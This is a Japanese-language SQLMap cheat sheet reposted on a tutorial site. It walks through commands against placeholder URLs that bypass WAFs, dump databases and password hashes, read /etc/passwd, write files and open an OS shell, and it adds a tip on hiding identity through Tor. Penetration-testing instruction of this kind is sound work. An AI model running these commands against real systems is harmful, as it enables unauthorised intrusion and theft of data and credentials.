ホームページ > バックエンド開発 > Python チュートリアル > SQLMap チートシート: 自動 SQL インジェクションのクイックガイド

SQLMap チートシート: 自動 SQL インジェクションのクイックガイド

Linda Hamilton
リリース: 2024-09-26 15:30:02
オリジナル
953 人が閲覧しました

SQLMap Cheat Sheet: A Quick Guide for Automated SQL Injection

著者: Trix Cyrus

SQLMap とは何ですか?
SQLMap は、Web アプリケーションの SQL インジェクションの脆弱性を検出して悪用するために使用されるオープンソースの侵入テスト ツールです。 MySQL、PostgreSQL、Oracle、Microsoft SQL Server などのさまざまなデータベース システムをサポートしています。

基本的な使い方
SQLMap を開始するには、ターゲット URL:
を指定することで、最も単純な形式で SQLMap を実行できます。

sqlmap -u "http://example.com/index.php?id=1"
ログイン後にコピー

このコマンドは、SQL インジェクションの脆弱性についてターゲット URL をスキャンします。

1.脆弱性の検出
基本的な脆弱性スキャンを実行し、SQL インジェクション ポイントを自動的に検出するには、次のオプションを使用します:

sqlmap -u "http://example.com/index.php?id=1" --dbs
ログイン後にコピー
ログイン後にコピー

--dbs: 脆弱性が見つかった場合、ターゲット サーバー上で利用可能なすべてのデータベースをリストします。

2. POST リクエストの指定

POST リクエスト (通常はログインフォーム) を必要とするターゲットの場合、次のようにデータを指定できます:

sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"
ログイン後にコピー

3. WAF とフィルターのバイパス

Web アプリケーション ファイアウォール (WAF) を回避するために、SQLMap にはペイロード難読化技術が含まれています。

sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment
ログイン後にコピー

--tamper: 改ざんスクリプトを使用してフィルターを回避します。例: space2comment、charencode.

4.データベース、テーブル、列の抽出
ターゲット システム上のデータベースのリストを取得するには:

sqlmap -u "http://example.com/index.php?id=1" --dbs
ログイン後にコピー
ログイン後にコピー

データベースが特定されたら、そのテーブルを抽出します。

sqlmap -u "http://example.com/index.php?id=1" -D database_name --tables
ログイン後にコピー

特定のテーブルから列を取得するには:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --columns
ログイン後にコピー

5.データをダンプしています

テーブルの内容のダンプは、SQLMap の最も便利な機能の 1 つです。たとえば、特定のテーブルからすべてのデータをダンプするには:

sqlmap -u "http://example.com/index.php?id=1" -D database_name -T table_name --dump
ログイン後にコピー

6.データベース ユーザーとパスワードの列挙

SQLMap は、データベース ユーザーを列挙したり、ハッシュ化されたパスワードを解読したりするためにも使用できます。

sqlmap -u "http://example.com/index.php?id=1" --users
sqlmap -u "http://example.com/index.php?id=1" --passwords
ログイン後にコピー

7.オペレーティング システムへのアクセス

場合によっては、特にデータベース ユーザーが高レベルの権限を持っている場合、SQLMap を使用してオペレーティング システム上でコマンドを実行できます。

sqlmap -u "http://example.com/index.php?id=1" --os-shell
ログイン後にコピー

これにより、ターゲット システム上でコマンドを実行できる対話型シェルが提供されます。

8.ファイルのアップロードと読み取り

ターゲット システムからファイルを読み取ったり、悪意のあるファイルをアップロードしたりすることもできます (許可されている場合)。

sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"
ログイン後にコピー

9.匿名性のために Tor を使用する

自分の身元を隠すには、Tor ネットワーク経由で SQLMap を実行できます。

sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=SOCKS5 --check-tor
ログイン後にコピー

--tor: Tor を有効にします。
--check-tor: 接続が Tor 経由で行われたかどうかを確認します。

10.セッションの保存と再開

SQLMap では、--session オプションを使用して進行状況を保存して再開できます。

sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name
ログイン後にコピー

後で、次の方法で同じセッションを再開できます。

sqlmap -r your_session_name
ログイン後にコピー

11.詳細モード

SQLMap の動作に関する詳細情報を表示するには:

sqlmap -u "http://example.com/index.php?id=1" -v 3
ログイン後にコピー

-v オプションは冗長性を制御します (レベル 0 から 6、6 はすべての詳細を示します)。

  1. 複数のターゲットの自動スキャン

SQLMap は、ファイルに保存されている複数の URL のスキャンをサポートしています:

sqlmap -m urls.txt --batch
ログイン後にコピー

--batch: デフォルトのオプションを使用してすべてのプロンプトに自動的に応答します。これは自動スキャンに役立ちます。

スキャンを進めるには、--risk=3 と --level=5 も使用します
このチートシートを使用すると、読者に SQLMap の重要なコマンドを紹介し、SQL インジェクション テストを始めるのに役立ちます。

~TrixSec

以上がSQLMap チートシート: 自動 SQL インジェクションのクイックガイドの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ソース:dev.to
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
著者別の最新記事
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート